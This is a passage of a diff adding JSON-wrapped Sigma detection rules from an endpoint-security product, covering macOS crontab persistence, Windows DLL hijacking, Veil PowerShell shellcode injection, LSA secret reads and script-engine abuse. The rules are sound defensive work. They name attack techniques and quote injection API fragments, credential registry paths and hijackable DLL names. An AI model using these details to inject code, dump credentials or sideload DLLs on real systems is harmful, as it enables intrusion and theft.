/var/folders/*/MerToolLogs/McAfeeMERTool'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f78214a0-fe9f-4af4-92f4-2ec1a00aa950",
+  "rule_name": "Suspicious Crontab Execution (macOS)",
+  "rule_description": "Detects the execution of the crontab command from outside a shell.\nAn attacker could use crontab to add a malicious cron jobs for persistence.\nIt is recommended to investigate the parent process of crontab as well as the potential creation of jobs to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2022-11-24",
+  "rule_modified_date": "2025-12-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f792ad64-30bf-49b1-9878-bd8adfee568c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091474Z",
+  "creation_date": "2026-03-23T11:45:34.091476Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091481Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_recover.yml",
+  "content": "title: DLL Hijacking via recover.exe\nid: f792ad64-30bf-49b1-9878-bd8adfee568c\ndescription: |\n    Detects potential Windows DLL Hijacking via recover.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'recover.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DEVOBJ.dll'\n            - '\\ifsutil.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f792ad64-30bf-49b1-9878-bd8adfee568c",
+  "rule_name": "DLL Hijacking via recover.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via recover.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f7936a91-3d4d-4606-92d9-32e1c5794d98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084994Z",
+  "creation_date": "2026-03-23T11:45:34.084996Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085000Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Veil-Framework/Veil",
+    "https://www.tevora.com/threat-blog/dissecting-veil-evasion-powershell-payloads-and-converting-to-a-bind-shell/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_veil_framework.yml",
+  "content": "title: PowerShell Veil Metasploit Payload Detected\nid: f7936a91-3d4d-4606-92d9-32e1c5794d98\ndescription: |\n    Detects the usage of the Veil tool.\n    Veil is a tool designed to generate Metasploit payloads that can bypass common anti-virus solutions.\n    It is recommended to investigate, with the help of the process tree, the context of this action to determine its legitimacy. The PowerShell telemetry can also be used to analyze the PowerShell content.\nreferences:\n    - https://github.com/Veil-Framework/Veil\n    - https://www.tevora.com/threat-blog/dissecting-veil-evasion-powershell-payloads-and-converting-to-a-bind-shell/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/05/06\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.t1106\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.Veil\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    # meterpreter\n    # https://github.com/Veil-Framework/Veil/blob/master/tools/evasion/payloads/powershell/meterpreter/rev_http.py\n    # https://github.com/Veil-Framework/Veil/blob/master/tools/evasion/payloads/powershell/meterpreter/rev_https.py\n    # https://github.com/Veil-Framework/Veil/blob/master/tools/evasion/payloads/powershell/meterpreter/rev_tcp.py\n    selection_meterpreter:\n        PowershellCommand|contains|all:\n            - 'public static extern IntPtr VirtualAlloc('\n            - 'public static extern IntPtr CreateThread('\n            - '::VirtualAlloc(0,'\n            - ',0x3000,0x40)'\n            - '[System.Runtime.InteropServices.Marshal]::Copy('\n            - '-namespace Win32Functions -passthru'\n            - 'Start-Sleep -Second'\n\n    # inline shellcode injection\n    # https://github.com/Veil-Framework/Veil/blob/master/tools/evasion/payloads/powershell/shellcode_inject/virtual.py\n    selection_inject_method_virtual:\n        PowershellCommand|contains|all:\n            - 'public static extern IntPtr VirtualAlloc('\n            - 'public static extern IntPtr CreateThread('\n            - 'public static extern IntPtr memset('\n            - 'public static extern bool VirtualProtect('\n            - '-namespace Win32Functions -passthru'\n            - '::VirtualProtect('\n            - '[UInt32]0x1000, [UInt32]0x20,'\n            - '::CreateThread(0,0,'\n            - 'Start-Sleep -Second'\n    selection_inject_method_heap:\n        PowershellCommand|contains|all:\n            - 'public static extern IntPtr HeapCreate('\n            - 'public static extern IntPtr HeapAlloc('\n            - 'public static extern IntPtr CreateThread('\n            - 'public static extern IntPtr memset('\n            - '-namespace Win32Functions -passthru'\n            - '::HeapCreate(0x00040000,'\n            - '::HeapAlloc('\n            - ',0x00000008,'\n            - '::memset([IntPtr]('\n            - '::CreateThread(0,0,'\n            - 'Start-Sleep -Second'\n\n    condition: 1 of selection_*\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f7936a91-3d4d-4606-92d9-32e1c5794d98",
+  "rule_name": "PowerShell Veil Metasploit Payload Detected",
+  "rule_description": "Detects the usage of the Veil tool.\nVeil is a tool designed to generate Metasploit payloads that can bypass common anti-virus solutions.\nIt is recommended to investigate, with the help of the process tree, the context of this action to determine its legitimacy. The PowerShell telemetry can also be used to analyze the PowerShell content.\n",
+  "rule_creation_date": "2022-05-06",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1106"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f7b8ea5f-a36a-4bd3-8e58-764553af77cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081247Z",
+  "creation_date": "2026-03-23T11:45:34.081249Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081254Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/wastedlocker-technical-analysis/97944/",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_proximityuxhost.yml",
+  "content": "title: DLL Hijacking via ProximityUxHost.exe\nid: f7b8ea5f-a36a-4bd3-8e58-764553af77cc\ndescription: |\n    Detects potential Windows DLL Hijacking via ProximityUxHost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securelist.com/wastedlocker-technical-analysis/97944/\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ProximityUxHost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\deviceassociation.dll'\n            - '\\dui70.dll'\n            - '\\dwmapi.dll'\n            - '\\opcservices.dll'\n            - '\\propsys.dll'\n            - '\\proximitycommon.dll'\n            - '\\proximityservicepal.dll'\n            - '\\winmm.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f7b8ea5f-a36a-4bd3-8e58-764553af77cc",
+  "rule_name": "DLL Hijacking via ProximityUxHost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ProximityUxHost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f7eb64b2-21b0-493f-8043-540bcb5ff18c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074885Z",
+  "creation_date": "2026-03-23T11:45:34.074887Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074892Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection",
+    "https://www.nirsoft.net/utils/lsa_secrets_dump.html",
+    "https://github.com/laxa/SharpSecretsdump/",
+    "https://attack.mitre.org/software/S0008/",
+    "https://attack.mitre.org/techniques/T1003"
+  ],
+  "name": "t1003_004_lsa_secrets_read.yml",
+  "content": "title: LSA Secrets Read from Registry\nid: f7eb64b2-21b0-493f-8043-540bcb5ff18c\ndescription: |\n    Detects sensitive values in relation to the Local Security Authority (LSA) being read.\n    The LSA is a component of Microsoft Windows responsible for enforcing security policies, handling authentications, and managing process privileges.\n    Due to its functions, the LSA contains a variety of different credential materials, making it a common target for attackers looking to lateralize or escalate their privileges.\n    Since some LSA secrets are stored in the Windows registry, many security tools such as the Impacket suite, gsecdump or SharpSecretsdump implement components reading these values either locally or through Remote Registry Services to extract valuable information.\n    This rule monitors the values associated with the current and backup secrets, such as the NL$KM key, used to encrypt cached credentials.\n    It is recommended to determine if the process accessing these values has a legitimate reason to do so.\nreferences:\n    - https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection\n    - https://www.nirsoft.net/utils/lsa_secrets_dump.html\n    - https://github.com/laxa/SharpSecretsdump/\n    - https://attack.mitre.org/software/S0008/\n    - https://attack.mitre.org/techniques/T1003\ndate: 2024/06/04\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.002\n    - attack.t1003.004\n    - attack.t1003.005\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: ReadValue\n        TargetObject|contains:\n            - 'SECURITY\\Policy\\Secrets\\\\*\\CurrVal' # NLKM Key\n            - 'SECURITY\\Policy\\Secrets\\\\*\\OldVal' # Backup\n            - 'SECURITY\\Policy\\PolEKList' # List of encrypted keys used by LSA\n        Image|contains: '?'\n\n    filter_lsass:\n        Image:\n            - '?:\\Windows\\System32\\lsass.exe'\n            - '\\Device\\VhdHardDisk{????????-????-????-????-????????????}\\Windows\\System32\\lsass.exe'\n            - '\\Device\\HarddiskVolume*\\Windows\\System32\\lsass.exe'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    exclusion_defender:\n        ProcessGrandparentImage: '?:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe'\n        ProcessCommandLine|contains:\n            - ':\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\powershell.exe ExecutionPolicy Bypass -NoProfile -NonInteractive -Command'\n            - ':\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads\\PSScript_'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f7eb64b2-21b0-493f-8043-540bcb5ff18c",
+  "rule_name": "LSA Secrets Read from Registry",
+  "rule_description": "Detects sensitive values in relation to the Local Security Authority (LSA) being read.\nThe LSA is a component of Microsoft Windows responsible for enforcing security policies, handling authentications, and managing process privileges.\nDue to its functions, the LSA contains a variety of different credential materials, making it a common target for attackers looking to lateralize or escalate their privileges.\nSince some LSA secrets are stored in the Windows registry, many security tools such as the Impacket suite, gsecdump or SharpSecretsdump implement components reading these values either locally or through Remote Registry Services to extract valuable information.\nThis rule monitors the values associated with the current and backup secrets, such as the NL$KM key, used to encrypt cached credentials.\nIt is recommended to determine if the process accessing these values has a legitimate reason to do so.\n",
+  "rule_creation_date": "2024-06-04",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.002",
+    "attack.t1003.004",
+    "attack.t1003.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f86d2a63-b9d6-453e-a211-26ff34ee6cce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296673Z",
+  "creation_date": "2026-03-23T11:45:35.296675Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296680Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Cscript/",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1204.002/T1204.002.md#atomic-test-2---ostap-payload-download",
+    "https://attack.mitre.org/techniques/T1204/002/"
+  ],
+  "name": "t1204_002_suspicious_script_execution_engine_parameter.yml",
+  "content": "title: Suspicious Script Execution with Specified Engine Parameter\nid: f86d2a63-b9d6-453e-a211-26ff34ee6cce\ndescription: |\n    Detects the suspicious execution of a Windows script engine with a parameter specifying the language to use.\n    This technique has been used by attackers to execute files with misleading extensions. For instance, it was used by the OSTAP JScript downloader to execute malicious code from Office macro.\n    It is recommended to investigate the parent process performing this action, the action performed by the child process and to analyze the script file itself to look for malicious content.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Cscript/\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1204.002/T1204.002.md#atomic-test-2---ostap-payload-download\n    - https://attack.mitre.org/techniques/T1204/002/\ndate: 2023/12/05\nmodified: 2026/02/23\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - attack.t1059.005\n    - attack.t1059.007\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.WScript\n    - classification.Windows.LOLBin.CScript\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        OriginalFileName|endswith:\n            - 'wscript.exe'\n            - 'cscript.exe'\n        CommandLine|contains:\n            - '/e:'\n            - '-e:'\n        ParentImage|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\'\n            - '?:\\\\?Recycle.Bin\\'\n        GrandparentImage|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\'\n            - '?:\\\\?Recycle.Bin\\'\n        CurrentDirectory|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\'\n            - '?:\\\\?Recycle.Bin\\'\n\n    filter_cmd:\n        ParentCommandLine|startswith:\n            - '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\'\n            - '?:\\WINDOWS\\SysWOW64\\cmd.exe /c ?:\\'\n\n    selection_cmd:\n        ParentCommandLine|contains:\n            - '\\cmd.exe /c ?:\\windows\\'\n            - '\\cmd.exe /c ?:\\ProgramData\\'\n            - '\\cmd.exe /c ?:\\PerfLogs\\'\n            - '\\cmd.exe /c ?:\\temp\\'\n            - '\\cmd.exe /c ?:\\users\\'\n            - '\\cmd.exe /c ?:\\Program Files (x86)\\'\n            - '\\cmd.exe /c ?:\\Program Files\\'\n            - '\\cmd.exe /c ?:\\\\?Recycle.Bin\\'\n\n    exclusion_commandline:\n        CommandLine|contains:\n            - ' ?:\\users\\\\*\\AppData\\Roaming\\\\\\\\svchost\\FTJmqGbe.tmp' # http://www.global-imaging.net/solutions.htm\n            - 'cscript //E:JScript //nologo ?:\\Users\\\\*\\\\* ScoreGym*\\ScoreGym\\update\\tools\\base64.bat'\n            - '?:\\windows\\temp\\psappdeploytoolkit\\'\n            - '?:\\WINDOWS\\SystemTemp\\PSAppDeployToolkit\\'\n            - '\\PSAppDeployToolkit\\ExecuteAsUser\\PSAppDeployToolkit-ExecuteAsUser.vbs'\n            - 'cscript.exe //e:vbscript *\\TSS\\psSDP\\Diag\\global\\Autoruns.vbs ' # https://learn.microsoft.com/en-us/troubleshoot/windows-client/windows-tss/introduction-to-troubleshootingscript-toolset-tss\n            - 'cscript.exe //B //Nologo //E:vbs ?:\\Program Files\\'\n            - 'cscript.exe //B //Nologo //E:vbs ?:\\Program Files (x86)\\'\n            - 'WScript.exe /E:vbs ?:\\ProgramData\\Thinstall\\UnRegister\\'\n            - 'cscript //E:JScript //nologo ?:\\Users\\\\*\\Desktop\\'\n\n    exclusion_parentimage:\n        ParentImage: '?:\\Windows\\System32\\spoolsv.exe'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '?:\\Program Files (x86)\\Tanium\\Tanium Client\\TaniumClient.exe'\n            - '?:\\Program Files (x86)\\Meraki\\PCC Agent *\\m_agent_service.exe'\n            - '?:\\Program Files\\Meraki\\PCC Agent *\\m_agent_service.exe'\n\n    exclusion_amd:\n        CommandLine|endswith: '//e:vbscript //B //NOLOGO'\n        ParentImage|endswith:\n            - '\\AMD_Chipset_Software.exe'\n            - '\\AMD_Chipset_Drivers.exe'\n\n    # https://github.com/JohnWhy/Anti-AFK-Batch-File/blob/master/afker.bat\n    exclusion_afker:\n        CommandLine:\n            - 'CScript //nologo //E:JScript *\\afker.bat {NUMLOCK}'\n            - 'CScript //nologo //E:JScript *\\av.bat {NUMLOCK}'\n\n    condition: selection_image and (not filter_cmd or selection_cmd) and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f86d2a63-b9d6-453e-a211-26ff34ee6cce",
+  "rule_name": "Suspicious Script Execution with Specified Engine Parameter",
+  "rule_description": "Detects the suspicious execution of a Windows script engine with a parameter specifying the language to use.\nThis technique has been used by attackers to execute files with misleading extensions. For instance, it was used by the OSTAP JScript downloader to execute malicious code from Office macro.\nIt is recommended to investigate the parent process performing this action, the action performed by the child process and to analyze the script file itself to look for malicious content.\n",
+  "rule_creation_date": "2023-12-05",
+  "rule_modified_date": "2026-02-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.005",
+    "attack.t1059.007",
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f87fa54f-f27d-4a98-8d96-b6eadfb2453e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074756Z",
+  "creation_date": "2026-03-23T11:45:34.074758Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074763Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment?next_slideshow=82266109",
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "t1003_credential_dumping_named_pipes_creation.yml",
